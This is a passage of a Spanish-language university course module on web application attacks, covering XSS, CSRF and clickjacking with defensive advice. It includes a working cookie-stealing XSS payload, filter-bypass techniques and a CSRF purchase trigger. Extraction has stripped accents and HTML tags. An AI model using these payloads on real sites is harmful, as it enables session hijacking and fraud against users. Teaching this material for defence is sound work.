ataques a aplicaciones web

Ataques aaplicaciones web

Jos Mara Alonso CebrinAntonio Guzmn SacristnPedro Laguna DurnAlejandro Martn Bailn

PID_00191662

CC-BY-NC-ND PID_00191662 Ataques a aplicaciones web

Los textos e imgenes publicados en esta obra estn sujetos excepto que se indique lo contrario a una licencia deReconocimiento-NoComercial-SinObraDerivada (BY-NC-ND) v.3.0 Espaa de Creative Commons. Podis copiarlos, distribuirlosy transmitirlos pblicamente siempre que citis el autor y la fuente (FUOC. Fundacin para la Universitat Oberta de Catalunya),no hagis de ellos un uso comercial y ni obra derivada. La licencia completa se puede consultar en http://creativecommons.org/licenses/by-nc-nd/3.0/es/legalcode.es


ndice

1. Ataques de inyeccin de scripts..................................................... 51.1. Cross site scripting (XSS) ............................................................... 7

1.1.1. Ataques ........................................................................... 91.1.2. Mtodos para introducir XSS (cross site scripting) ........... 101.1.3. Diseccionando un ataque .............................................. 121.1.4. Filtros XSS ...................................................................... 17

1.2. Cross Site Request Forgery (CSRF) .............................................. 191.3. Clickjacking ................................................................................. 21

2. Ataques de inyeccin de cdigo..................................................... 262.1. LDAP Injection ............................................................................ 28

2.1.1. LDAP Injection con ADAM de Microsoft ...................... 282.1.2. LDAP Injection con OpenLDAP .................................... 312.1.3. Conclusiones .................................................................. 332.1.4. OR LDAP Injection ..................................................... 342.1.5. AND LDAP Injection .................................................. 36

2.2. Blind LDAP Injection .................................................................. 392.2.1. Blind LDAP Injection en un entorno AND ................ 402.2.2. Reconocimiento de clases de objetos de un rbol

LDAP .............................................................................. 402.2.3. Blind LDAP Injection en un entorno OR ................... 422.2.4. Ejemplos Blind LDAP Injection ..................................... 43

2.3. XPath ........................................................................................... 482.3.1. XPath injection y Blind XPath Injection ...................... 482.3.2. Cmo protegerse de tcnicas de XPath Injection? ....... 53

3. Ataques de Path Transversal.......................................................... 543.1. Path Disclosure ............................................................................ 54

4. Ataques de inyeccin de ficheros.................................................. 564.1. Remote file inclusion...................................................................... 564.2. Local file inclusion......................................................................... 574.3. Webtrojans ................................................................................... 59

5. Google Hacking.................................................................................. 61

6. Seguridad por ocultacin................................................................ 646.1. Descompiladores de applets web ................................................. 67

6.1.1. Flash ............................................................................... 676.1.2. Java ................................................................................. 696.1.3. .NET ................................................................................ 70


Bibliografa................................................................................................. 73

CC-BY-NC-ND PID_00191662 5 Ataques a aplicaciones web

1. Ataques de inyeccin de scripts

Bajo la denominacin de inyeccin de scripts se agrupan distintas tcnicas quecomparten el mismo sistema de explotacin pero que persiguen distinto fin.El hecho de separarlas en distintas categoras atiende nicamente a facilitar lafijacin de los objetivos perseguidos.

Un ataque por inyeccin de cdigo se plantea como objetivo lograr in-yectar en el contexto de un dominio un cdigo Javascript, VBScript osimplemente HTML, con la finalidad de engaar al usuario o realizaruna accin no deseada suplantndole.

Un concepto que debe quedar muy claro es que en este tipo de ataque el afec-tado no es directamente el servidor, como podra ser en el caso de un ataquede SQL Injection, sino que el objetivo directo es el usuario. Posteriormente,si el ataque es exitoso y mediante suplantacin de personalidad, se podrnejecutar las acciones deseadas en el servidor afectado y al que pueda accedersedesde una pgina web.

Esto ha implicado que los fallos de inyeccin de scripts no sean consideradoscomo amenazas crticas en algunos sectores de la seguridad informtica, de-clarando incluso que errores de este tipo no podran llegar a comprometer laseguridad de un sitio web. Como se demostrar a lo largo de este apartado, lainyeccin de scripts puede llegar a ser tan peligrosa como cualquier otra tcni-ca si se sabe cul es su lmite y cul es su potencial.

Se exponen a continuacin casos reales relacionados con XSS ( cross site scrip-ting) en los que la seguridad de algn sitio web ha quedado comprometida. Apesar del escepticismo de algunos, XSS puede permitir la obtencin de privile-gios sobre algn sistema lo suficientemente dbil como para permitir insertarcdigo Javascript.


Zone-H

El primero de los casos es el de Zone-H, pgina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la pgina principal,lo que en argot se denomina defaceados. Este sitio registra tambin los autoresidentificados de las acciones maliciosas. Resulta irnico que fuesen ellos mismos losatacados.

El mtodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electrnico a su cuenta de Hotmail, donde recientemente habanlocalizado un fallo de XSS. Explotando el error lograron robar su cookie de sesiny con ella pudieron visitar el sitio web de Zone-H. Una vez aqu, solicitaron unarecuperacin de la contrasea que, evidentemente, se les envi al correo electrnicoque haban secuestrado previamente. Con esta cuenta de administrador del sitio noles qued ms que publicar una noticia que inclua cdigo HTML, especialmenteescrito para colocar sobre el resto de la pgina el contenido que ellos deseaban.

Samy Worm y MySpace

El segundo caso real, utilizado como ejemplo, donde el XSS logr comprometer laseguridad de un sitio, fue el protagonizado por Samy Worm y MySpace. Samy es unchico de Estados Unidos que detect una vulnerabilidad de XSS en el famoso portalde MySpace. Para explotar este fallo y aprovechando sus dotes de programacin Ja-vascript, Samy cre un gusano informtico que luego se conocera como Samy Worm.

Un gusano informtico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad. En un entorno web, un gusano sera un cdigo Javascript quese replica entre los perfiles de los usuarios del sitio. Y eso fue lo que hizo Samy consu gusano, replicarlo en ms de un milln de perfiles de MySpace.

El gusano no era especialmente maligno. nicamente efectuaba tres acciones: se re-plicaba como cualquier gusano, aada al usuario de Samy como amigo de la personainfectada e inclua la frase but most of all Samy is my hero en el apartado de hroespersonales de cada perfil.

En menos de 24 horas actuando lleg a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados. A Samy le detuvieron y le condenaron a pagar una multaeconmica, a realizar un mes de tareas para la comunidad y a un ao de inhabilita-cin para trabajar con ordenadores.


Figura 1. Bsqueda que devolva ms de 3.000 pginas con eltexto samy is my hero.

Estos dos casos reflejan perfectamente lo crtica que puede llegar a ser unavulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web,a pesar de la opinin de aquellos que no las consideran como tal.

Hacker Safe

En el ltimo de los casos presentado e ilustrativo de esta polmica aparece la com-paa Hacker Safe, dedicada a comercializar soluciones de seguridad. Esta iniciativapromete, tras el pago de cierta cantidad monetaria, revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas. Adems permite in-cluir una pequea imagen con el texto: 100% Hacker Safe en el sitio, con el objetode inspirar confianza a los usuarios.

Tras descubrirse y hacerse pblico que algunas de las pginas 100% Hacker Safepresentaban vulnerabilidades de tipo XSS, algunos de los mximos responsables dela compaa llegaron a afirmar que los fallos de XSS no eran crticos y que nunca sehaban llegado a utilizar para comprometer totalmente la seguridad de un sitio. Comose ha podido observar en los casos anteriores y se podr corroborar en las pginassiguientes, esta afirmacin es cuanto menos, ignorante.

1.1. Cross site scripting (XSS)

El cross site scripting es la base de todas las dems tcnicas que se van a ir ana-lizando en este mdulo, as que es fundamental entender correctamente losconceptos que se explican a continuacin.


Cuando se habla de ejecucin remota de cdigo, es necesario considerar cmose realiza la interaccin con la pgina. Evidentemente, toda peticin enviadaal servidor va a ser procesada por este y en funcin de cmo la interprete, sero no factible un ataque mediante XSS.

Una pgina es vulnerable a XSS cuando aquello que nosotros enviamosal servidor (un comentario, un cambio en un perfil, una bsqueda, etc.)se ve posteriormente mostrado en la pgina de respuesta.

Esto es, cuando escribimos un comentario en una pgina y podemos leerposteriormente nuestro mensaje, modificamos nuestro perfil de usuarioy el resto de usuarios puede verlo o realizamos una bsqueda y se nosmuestra un mensaje: No se han encontrado resultados para ,se est incluyendo dentro de la pgina el mismo texto que nosotroshemos introducido. Ah es donde vamos a empezar a investigar paralograr introducir nuestro cdigo XSS.

Una vez se ha detectado una zona de la aplicacin que al recibir texto proce-dente del usuario lo muestra en la pgina, es el momento de determinar si esposible utilizar esa zona como punto de ataque de XSS. Para ello es posibleinsertar un pequeo cdigo Javascript que muestra un mensaje de alerta paradescubrir rpidamente si se est actuando en la lnea correcta de ataque. Paralos ejemplos se utilizar el siguiente cdigo:

alert("Hola Mundo!");

El cdigo anterior va a ser vlido para la mayor parte de los casos, aunquecomo se ver posteriormente determinados filtros Anti-XSS pueden imposibi-litar el uso de ciertos caracteres a la hora de introducir el cdigo Javascript. Porejemplo, las comillas dobles o los caracteres de mayor que y menor quesuelen estar prohibidos.

Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcin personal. En lugar de escribir otra informacin en este apartado,se introduce el cdigo JavaScript anterior. Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje Hola Mundo! se puede afirmar que la pgina encuestin es vulnerable a XSS.

Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoras:

Permanentes: El ejemplo comentado en el prrafo anterior pertenece a estacategora. Su denominacin se debe al hecho de que, como mostraba elejemplo, la ventana de alerta en Javascript queda almacenada en algnlugar, habitualmente una base de datos SQL, y se va a mostrar a cualquierusuario que visite nuestro perfil. Evidentemente este tipo de fallos de XSSson mucho ms peligrosos que los no permanentes, que se comentan acontinuacin.


No permanentes: Esta categora queda ilustrada con el caso que ahora semenciona. Nos encontramos con una pgina web que dispone de busca-dor, el cual, al introducir una palabra inventada o una cadena aleatoria decaracteres, muestra un mensaje del tipo: No se han encontrado resultadospara la bsqueda , donde es la cadena introducida enel campo de bsqueda.

Si en la bsqueda se introduce como el cdigo Javascript antes indi-cado, y de nuevo aparece la ventana de alerta, significa que la aplicacin esvulnerable a XSS. La diferencia es que en esta ocasin los efectos de la accinno son permanentes.

XSS (cross site scripting) consiste en la posibilidad de introducir cdigoJavascript en una aplicacin web, lo que permite realizar una serie deacciones maliciosas en la misma.

Para inyectar el cdigo se localiza una zona de la pgina que por su funcio-nalidad incorpora dentro de su propio cdigo HTML el cdigo Javascript queanteriormente se ha introducido en algn lugar de la aplicacin. Si este cdigose ha escrito en algn campo donde queda almacenado en una base de datosde forma permanente, se mostrar cada vez que un usuario acceda a la pgina.Sin embargo las vulnerabilidades ms habituales son las no permanentes. Enestos casos es necesario recurrir a la ingeniera social para efectuar el ataque.Para ello es necesario fijarse en primer lugar en la URL de la pgina que deberser algo similar a:

http://www.victima.com/search?query=alert("Hola Mundo");

Una vez se disponga de esta URL, se deber de procurar que la vctima hagaclic sobre ella, ejecutando el cdigo Javascript. Esta situacin corresponderaya a otro mbito de estudio como es la ingeniera social.

1.1.1. Ataques

Vamos a comentar a continuacin las posibles implicaciones de seguridad quepueden presentar un fallo de este tipo. Ha de considerarse que se trata nica-mente de ideas generales y que el lmite lo pone la imaginacin del atacantey las funcionalidades de la aplicacin objetivo del ataque.

Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-rioafectado y como tal realizar acciones en la aplicacin web. Si se halogrado que un usuario administrador ejecute nuestro cdigo Javascript,las posibilidades de actuacin maliciosa son muy superiores. Ser posible,por citar algn ejemplo, desde borrar todas las noticias de una pgina agenerar una cuenta de administrador con los datos que nosotros especifi-


quemos. Si el cdigo Javascript es ejecutado por un usuario sin derechos deadministracin, se podr realizar cualquier modificacin asociada al perfilespecfico del usuario en el sitio web.

Otra posible accin a efectuar haciendo uso de estas tcnicas es el phishing.Mediante Javascript, como hemos visto, podemos modificar el comporta-miento y la apariencia de una pgina web. Esto permite crear un formula-rio de login falso o redirigir el submit de uno existente hacia un dominiode nuestro control.

Igualmente se puede ejecutar ataques de defacement1 apoyndonos en tc-nicas que explotan vulnerabilidades XSS.

Por otra parte, aunque menos habitual, es posible realizar un ataquedede-negacindeserviciosdistribuidos (distributed dennial of services, DDoS).Para ello se forzar mediante cdigo Javascript a que los navegadores ha-gan un uso intensivo de recursos muy costosos en ancho de banda o ca-pacidad de procesamiento de un servidor de forma asncrona.

Para finalizar, tenemos el gusano XSS, un cdigo Javascript que se propagadentro un sitio web o entre pginas de Internet. Supongamos la existen-cia de un fallo XSS en la descripcin personal de los usuarios de una redsocial. En esta situacin un usuario malintencionado podra crear cdigoJavascript que copiase el cdigo del gusano al perfil del usuario que visitaotro perfil infectado y que adicionalmente realizase algn tipo de modifi-cacin en los perfiles afectados.

Como se puede comprobar, las posibilidades que ofrece el XSS son realmen-te amplias. Las nicas limitaciones la constituye la imposibilidad de ejecutarcdigo fuera del navegador, dado que la sandbox sobre la que se ejecuta nopermite el acceso a ficheros del sistema, y a las propias funcionalidades queofrezca el sitio web objeto del posible ataque.

1.1.2. Mtodos para introducir XSS (cross site scripting)

Para exponer las distintas metodologas que permiten introducir cdigo Javas-cript en una pgina vulnerable a XSS, vamos a desarrollar una serie de prcticasde la tcnica. Abordaremos los mtodos ms comunes para insertar el cdigomalicioso generado. Los mtodos expuestos se nombrarn en funcin de laszonas de cdigo de la aplicacin web donde va a quedar ubicado el cdigoJavascript introducido:

ElcdigosecopiaentredosetiquetasHTML: Es el modo ms sencillo.Simplemente debemos introducir el cdigo Javascript que deseemos eje-cutar.

(1)Es ms que la modificacin de laapariencia original de una pginaweb para que muestre un mensaje,normalmente reivindicativo, en lu-gar de su apariencia normal.



Elcdigosecopiadentrodeunaetiquetavaluedeunaetiqueta: El ejemplo bsico es el de los buscadores en sitios web y que se des-cribi anteriormente. Cuando realizamos una bsqueda a travs de ellos,lo habitual es que el trmino introducido se copie dentro del campo delbuscador. Esto en HTML quedara como el cdigo que se muestra a con-tinuacin:



ElcdigosecopiadentrodeuncdigoJavascript: Esto es habitual cuan-do las pginas utilizan datos introducidos por el usuario para generar al-gn tipo de evento personalizado o para almacenar datos que se van a usarposteriormente en algn otro lugar de la aplicacin web. La sintaxis seracomo la siguiente:

var busqueda = "[busqueda]";

En este punto no es necesario incluir las etiquetas , sino que po-demos directamente introducir el cdigo Javascript como se refleja en lasiguiente sintaxis. No tener que incluir las etiquetas ser impor-tante cuando sea necesario evitar los filtros anti-XSS que las eliminan.

";alert("Hola Mundo!");//

Hemos utilizado las barras al final de la sintaxis para lograr que el resto dela lnea Javascript quede comentada y no interfiera en la ejecucin de nues-tro cdigo. Esta circunstancia es ahora an ms determinante que cuan-do nos encontramos incorporando el cdigo generado al cdigo HTML,debido a que si el Javascript no es vlido la mayora de los navegadoresno lo ejecutarn.

var busqueda ="";alert("Hola Mundo");//";

Otroscasos: los especificados anteriormente son los ejemplos ms comu-nes donde vamos a encontrar que nuestro cdigo Javascript se incluyedentro del cdigo HTML de una pgina. En los casos indicados se ha par-tido del supuesto de que no existen filtros anti-XSS implementados. Jun-to a los anteriores existen otros casos ms complejos para la inclusin decdigo Javascript, como puede ser hacerlo en cabeceras HTTP.

1.1.3. Diseccionando un ataque

Para entender mejor el funcionamiento de esta tcnica vamos a analizar unataque desde el inicio hasta el final. El ataque consistir en el robo de la co-okie de sesin del usuario administrador de un sitio web. La cookie de sesinconsiste en un pequeo fichero (de hasta 4 Kb) que contiene un identificadornico y que se enva desde nuestro navegador junto a cada peticin que rea-lizamos hacia un servidor. Este identificador, asociado a un usuario que se halogeado satisfactoriamente en el sistema, evita tener que introducir sus cre-denciales para cada pgina que el usuario visita dentro de un mismo dominio.Por lo tanto, si obtenemos el identificador de otro usuario y se lo enviamosal servidor, este nos asociar en todo momento al usuario al que estamos su-plantando.


El paso principal en todo anlisis en busca de vulnerabilidades de tipo XSS enuna pgina web es localizar zonas funcionales de esta que permitan la intro-duccin de texto donde este se vuelva a mostrar, bien de forma permanentesi queda almacenado en una base de datos o bien de forma no permanentesi no es as.

En el caso mostrado en la siguiente imagen, la pgina web ofrece un serviciode mensajera entre usuarios, que puede ser un ejemplo simple para un posibleataque XSS.

Figura 2. Envo de mensaje

Para determinar si un campo, ya sea un parmetro desde la URL o un campode texto donde sea posible escribir, es vulnerable a XSS vamos a introducir unaserie de caracteres para comprobar si existe algn filtro anti-XSS. Los caracteresa introducir seran:

Comilla simple () Comilla doble () Smbolo de mayor que (>) Smbolo de menor que (


po del mensaje vamos a introducir un texto con cdigo Javascript que nosmuestre un mensaje de Hola Mundo, como lo hacan ejemplos anteriores. Elresultado del cdigo introducido antes de enviar se puede ver a continuacin:

Figura 3. XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurrir cuando ha-gamos clic en el botn Enviar. Aun siendo nosotros los que hemos introducidoy enviado este cdigo, la vulnerabilidad XSS an no habr sido explotada. Estoocurrir cuando con nuestro usuario eviluser naveguemos hasta su bandejade entrada. Es por esta razn por lo que los fallos de XSS se diferencian delresto de tcnicas. Tras pulsar Enviar y desplazarnos a la bandeja de entrada,obtendremos una ventana de alerta con el mensaje especificado.

Realmente de lo anterior lo que nos interesa es analizar cmo ha quedado elcdigo fuente HTML resultante de los pasos anteriores y segn nos lo devuelveel servidor:

Borr


En el ejemplo que estamos exponiendo vamos a desarrollar una accin demayor gravedad, utilizando para ello tecnologa AJAX (asynchronous Javascriptand XML), pasando a enviar mensajes de manera automtica utilizando paraello la cuenta del usuario. Con ello vamos a conseguir que aquel usuario quereciba nuestro mensaje nos enve un mensaje a nuestra bandeja de entradaconteniendo su cookie de sesin. Si se lo enviamos a un usuario con privilegiosadministrativos, lograremos control total sobre la aplicacin.

Generalmente ser necesaria una buena base de Javascript para explotar demanera satisfactoria cualquier fallo de XSS. En este caso estos conocimientosdebern ser avanzados. Aqu se va a facilitar un cdigo completamente fun-cional y que analizaremos lnea por lnea para que se pueda entender el obje-tivo del mismo.

d = "&to=eviluser&enviar=Enviar&mensaje=Mi cookie es: "+document.cookie;

if(window.XMLHttpRequest)

{

x=new XMLHttpRequest();

}

else

{

x=new ActiveXObject('Microsoft.XMLHTTP');

}

x.open("POST","func/send.php",true);

x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');

x.setRequestHeader('Content-Length',d.length);

x.send(d);

Este cdigo Javascript nos va a permitir recoger la cookie de sesin del usuario.De manera totalmente transparente para el usuario afectado, este nos la en-viar mediante un mensaje. Procedamos al anlisis:

Inicialmente se declara una variable d. Esta variable contiene los valoresde &to, &enviar y &mensaje, que son las variables que se envan en la apli-cacin cuando mandamos un mensaje. Detalle importante a observar es el

contenido de la variable &mensaje, document.cookie, un objeto del DOM2.de la pgina que contiene todas las cookies asociadas al dominio actual.

En las lneas siguientes se realiza un if...else, que nos asegura la creacinde un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-plorer como Firefox o similares. Este objeto es el usado para realizar laspeticiones AJAX.

Con open() establecemos las condiciones que se van a utilizar para enviar elformulario. Ser enviado por POST a la url func/send.php. Esto se obtiene

(2)DOM son las siglas de documentobject model. Es una manera denombrar cualquier elemento deuna pgina web, desde la barra dedirecciones hasta un simple tex-to en negrita, mediante una no-menclatura jerrquica. Por ejem-plo, todos los elementos HTML deuna pgina estn relacionados endocument.body


analizando de nuevo el formulario de envo. Mediante true se indica quela peticin ser realizada de manera asncrona, esto es, el navegador no sequedar congelado mientras se enva el mensaje.

Las dos siguientes lneas, en las que se llama a la funcin setRequestHeader()se usan para establecer cabeceras HTTP que hagan que el servidor webentienda que lo que estamos enviando es un formulario, aunque el usuariono lo haya rellenado.

Para terminar se invoca a send() pasndole como parmetro la variable dque tenamos creada desde el principio del cdigo. Con esto el navegadorrealiza las acciones definidas anteriormente y, si todo ha salido bien, elusuario afectado nos enviar su cookie de sesin.

Para verificar que el ataque se est efectuando segn lo previsto, vamos a enviarun mensaje al usuario admin y desde otro navegador iniciaremos sesin connuestro usuario para comprobar as que el cdigo cumple con su cometido.

Figura 4. XSS antes de ser enviado

Como se puede apreciar en la imagen anterior, se ha aadido un mensaje enel cuerpo del envo para que el usuario administrador no sospeche al recibirun mensaje vaco. Despus de pulsar el botn Enviar, el usuario eviluser solotendr que sentarse a esperar refrescando su bandeja de entrada hasta que re-ciba un mensaje de usuario admin con el valor de su cookie de sesin. El cdi-go Javascript enviado se podr observar dentro del cdigo fuente, pero pasarcompletamente desapercibido para el usuario admin cuando este inicia sesincon su navegador y automticamente se le presenta su bandeja de entrada.

El cdigo HTML recibido por el usuario admin al abrir su bandeja de entradasera:

De: eviluser

d= "&to=eviluser&enviar= Enviar &mensaje=Mi cookie es: "+document.cookie;

if(window:XMLHttpRequest)

{

x=new XMLHttpRequest ();

}


else

{

x=new ActiveXObject ('Microsoft.XMLHTTP');

}

x.open("POST","func/send.php",true);

x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

x.setRequestHeader('Content-Length',d.length);

xsend(d);

Que pagina mas chula!

Este cdigo ha sido interpretado por el navegador del usuario admin y auto-mticamente se ha enviado un mensaje al usuario eviluser con la cookie desesin.

Figura 5. Mensaje recibido por el usuario eviluser

Con esta informacin en su poder el usuario eviluser puede proceder a modi-ficar el valor de su cookie con el valor recibido. De este modo cuando su nave-gador lo enva al servidor, este responde con las pginas correspondientes alusuario admin.

Esta demostracin es un claro ejemplo del potencial que puede llegar a impli-car un ataque basado en XSS. Como se ha visto, sin conocer la contrasea deladministrador de un sitio web hemos logrado acceder a su cuenta.

1.1.4. Filtros XSS

En la gran mayora de las ocasiones no ser posible escribir cdigo Javascriptdirectamente como se ha realizado en el ejemplo anterior. Habitualmente, losprogramadores habrn establecido una serie de reglas para intentar evitar losfallos XSS. Sin embargo, habitualmente los filtros utilizados son implementa-ciones parciales de lo que debera ser un filtro antiXSS completo, y esto nospermite introducir nuestro cdigo Javascript salvando las dificultades adicio-nales que se presenten.


Vamos a plantear una serie de medidasdeproteccin que podemos encon-trarnos y cmo pasar las limitaciones impuestas por estas. Esto nos servir paraentender cmo piensa un atacante a la hora de introducir cdigo XSS y mejo-rar de este modo nuestras posibles implementaciones de filtros antiXSS.

Cuandointroducimosloscaracteresosecambianpor\o\: Estatcnica es conocida como escapar los caracteres y es til frente a inyec-ciones SQL, aunque no lo es frente a ataques XSS. Cuando intentamos ce-rrar una etiqueta HTML, como vimos anteriormente, y nos encontramoscon que se estn escapando nuestras comillas, pueden darse dos situacio-nes, ambas salvables por parte del atacante. La etiqueta queda cerrada co-mo \ o \, algo que en HTML es totalmente vlido, por lo que podemosseguir introduciendo cdigo Javascript.

alert(document.cookie);

Es imposible establecer la cadena Hola Mundo! al no poder escri-bir correctamente las comillas. Son varios los mtodos que se pue-den usar en estos casos. Por ejemplo, podemos utilizar la funcinString.fromCharCode(), que recibe una lista de cdigos ASCII y genera unacadena:

String.fromCharCode(72, 111, 108, 97, 32, 77, 117, 110, 100, 111, 33)

Tambin es posible establecer referencias a ficheros Javascript externos,donde podremos usar todos los caracteres que deseemos sin preocuparnospor ningn tipo de filtro.

ElcdigointroducidonopuedesersuperioraXcaracteres: Una limi-tacin tpica es encontrarnos que no podemos escribir ms de un nmerodeterminado de caracteres. Esta limitacin se puede solventar de nuevode dos maneras: Si son varias las variables donde es posible introducir cdigo Javascript,

podemos usar la suma de los caracteres correspondientes a cada una deellas para ampliar el nmero de caracteres disponibles. Esto se realiza-ra mediante los caracteres de comentarios multilnea de Javascript: /* al inicio y */ al final.

Si estamos limitados al tamao un solo campo, es posible utilizar unfichero externo para cargar todo el cdigo Javascript necesario. Parareducir la longitud de la direccin URL podemos usar pginas del estilotinyurl.com o is.gd. As por ejemplo, la URL http://www.victima.com/xss.js queda traducida a http://is.gd/owYT:


Nopodemosintroducirlacadenascriptonosenospermiteintroducirloscaracteresdemayorque(>)ymenorque(


minio, la enviar en cada peticin realizada a este dominio, incluso si esta no se realizavoluntariamente.

En este concepto se basa la tcnica de CSRF. Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro. Imaginemos que el sitio001.com,que recordemos permita transacciones econmicas, utiliza URL como la siguiente parala compra de objetos con la tarjeta de crdito almacenada:

http://www.sitio001.com/comprar.asp?idObjeto=31173&confirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la pgina anteriorrealizase clic sobre el enlace, obtendra como resultado la compra del objeto en cuestin.Esto es, podra engaar a la gente para comprar objetos que l pusiera a la venta por unprecio desorbitado.

Sin embargo, un usuario avezado no hara clic sobre un enlace desconocido y recibidopor una persona en la cual no confa. Es aqu donde entra en juego la tcnica de CSRF,permitiendo a un atacante simular clics verdicos sobre una aplicacin, usando las cre-denciales (cookie de sesin) de un usuario. Esta accin, mediante XSS, es sencilla.

Como ya se ha puesto de manifiesto mltiples veces a lo largo de este mdulo, es nece-sario conocer muy a fondo el funcionamiento de los navegadores. En este caso vamos ahacer uso de una condicin que todos los navegadores comparten pues no haremos usode cdigo Javascript, sino que utilizaremos cdigo HTML.

Los navegadores web al encontrarse una etiqueta siguen la direccin del recursoespecificado en el parmetro src. Esto implica una conexin para intentar descargar laimagen y esta puede realizarse entre dominios. Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen, se mostrarel icono de imagen rota.

Un atacante puede aprovechar esta caracterstica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean. Crear una imagen que apunte a ladireccin URL anteriormente indicada generara una peticin por parte de todos los na-vegadores que visitasen la pgina que contiene el cdigo HTML, y que como veamos in-tentara comprar un objeto en el dominio www.sitio001.com. El siguiente cdigo HTMLse debera introducir, por ejemplo, en un comentario del sitio www.sitio002.com.

Como se puede observar, la tcnica es tan simple como efectiva. Es posible hacer usode Javascript para que el ataque sea mucho ms discreto. Las imgenes disponen de unevento onerror que se lanza al no poder cargar la imagen. Esto es parecido al atributoalt, que se muestra cuando un navegador no soporta imgenes. Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despusde hacer la modificacin maliciosa a travs de CSRF.

Igualmente, sera posible desencadenar un ataque de forma ms discreta usan-do CSS (cascading style sheets, hojas de estilo para pginas web) para evitar quela imagen rota que se genera se le muestre al usuario.

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que lapgina de sitio001.com acepta peticiones GET, aquellas donde los parmetrosse remiten en la URL, en lugar de requerir POST para los envos de informacin.Una peticin GET siempre ser ms fcil de manipular que una peticin POST.Esto es as porque para generar una peticin POST debemos escribir cdigoJavascript, el cual puede entrar en conflicto con posibles filtros antiXSS queexistan en la aplicacin.


Sin embargo, y aunque establecisemos como requisito indispensable que laspeticiones se realicen mediante POST, esto no nos garantizara la seguridad denuestra pgina ni de nuestros clientes.

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de lascabeceras Referer. Estas indican la pgina desde la que se ha llegado a otra. Seutilizan, por ejemplo, para conocer cules son las bsquedas que permiten aun usuario llegar a un sitio web desde un buscador. Una medida de proteccin,aunque se puede saltar, sera comprobar que las peticiones realizadas a nuestraspginas, o al menos a aquellas que impliquen acciones sensibles, se realicendesde nuestro propio dominio.

La nica proteccin real frente a ataques de CSRF es la de establecer una seriede valores numricos que se generen de manera nica en cada peticin. Estospueden ser establecidos como un CAPTCHA que el usuario debe introducir alrealizar acciones crticas o como un valor oculto, en un campo hidden, dentrodel cdigo de la pgina que comprobamos cuando el usuario nos devuelve lapeticin. Estas medidas, aunque tediosas de programar, nos permiten asegurarlos datos de nuestros usuarios.

Como usuarios de aplicaciones posiblemente vulnerables a CSRF, podemostomar una serie de precauciones que intenten evitar un ataque mediante estatcnica. Las medidas son:

Cerrar la sesin inmediatamente tras el uso de una aplicacin.

No permitir que el navegador almacene las credenciales de ninguna pgi-na, ni que ningn servidor mantenga nuestra sesin recordada ms quedurante el tiempo de uso.

Utilizar navegadores distintos para las aplicaciones de ocio y las crticas.Con esto nos aseguramos la independencia de las cookies de sesin entrenavegadores.

1.3. Clickjacking

Las tcnicas de clickjacking son una amenaza reciente para los navega-dores y sus usuarios. Se basan en engaar a los usuarios para que ha-gan clic sobre elementos de un sitio web donde ellos nunca lo haranvoluntariamente.

Esto se consigue superponiendo dos pginas:


Una, la principal, con la pgina donde queremos que realmente los usua-rios hagan clic en zonas especficas, como por ejemplo un banco para rea-lizar una transferencia.

Otra, la que sirve como engao, superpuesta sobre la anterior y con con-tenidos que sirvan de aliciente para que el usuario realice los clics en laszonas deseadas, por ejemplo, un pequeo juego donde debemos cliquearen determinadas zonas.

Esta tcnica se basa en el uso de iframes superpuestos. Los iframes son elemen-tos HTML que permiten la inclusin de un recurso externo dentro de nuestrapgina. Aunque contienen una serie de limitaciones a la hora de acceder aellos mediante Javascript, son de posible uso para engaar al usuario.

1) El primer paso es generar una pgina con la URL que se quiere secuestrar yque ser la base sobre la que colocaremos el resto de elementos que nos harnfalta para llevar a cabo esta tcnica.

Figura 6. Pgina a secuestrar

2) El siguiente paso es colocar un iframe con su vrtice superior izquierdoexactamente en el lugar donde deseamos que el usuario engaado realice elclic. Esto se hace as para asegurar que, independientemente del navegador, elclic se ejecute sin problemas.


Figura 7. IFRAME sobre el sitio original

3) Finalmente se deber efectuar una colocacin y distribucin de los elemen-tos en la pgina que efecta el engao. Es recomendable en este sentido crearalgn tipo de incentivo para que el usuario se vea interesado en realizar elclic que se persigue, a fin de capturar su pulsacin y transmitirla a la pginaoriginal.

Figura 8. Colocacin del IFRAME para engaar al usuario


Esta tcnica fue implementada y presentada por primera vez por JeremiahGrossman y Robert Hansen. Ambos investigadores propusieron el ejemplo pre-sentado en las imgenes anteriores como mtodo para que un usuario activaseuna serie de caractersticas no deseadas de su reproductor Flash. Esto se logr atravs de una aplicacin Flash ubicada en la pgina de Adobe para la configu-racin de seguridad del plugin, como se puede observar en la siguiente imagen:

Figura 9. Configuracin de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccin por parte de los nave-gadores, ya que esta tcnica, de nuevo, utilizar el navegador del usuario parainteractuar con el servidor. Es por eso por lo que algunos navegadores aportandirectamente protecciones contra esta tcnica:

Firefox no implementa por defecto ningn mtodo para proteger a sususuarios frente a esta tcnica de ataque. Sin embargo, a travs de la exten-sin NoScript, que hace uso del mtodo ClearClick, evita que un usuariosea engaado para hacer clic sobre un elemento previamente falseado.


Figura 10 Clickjacking bloqueado

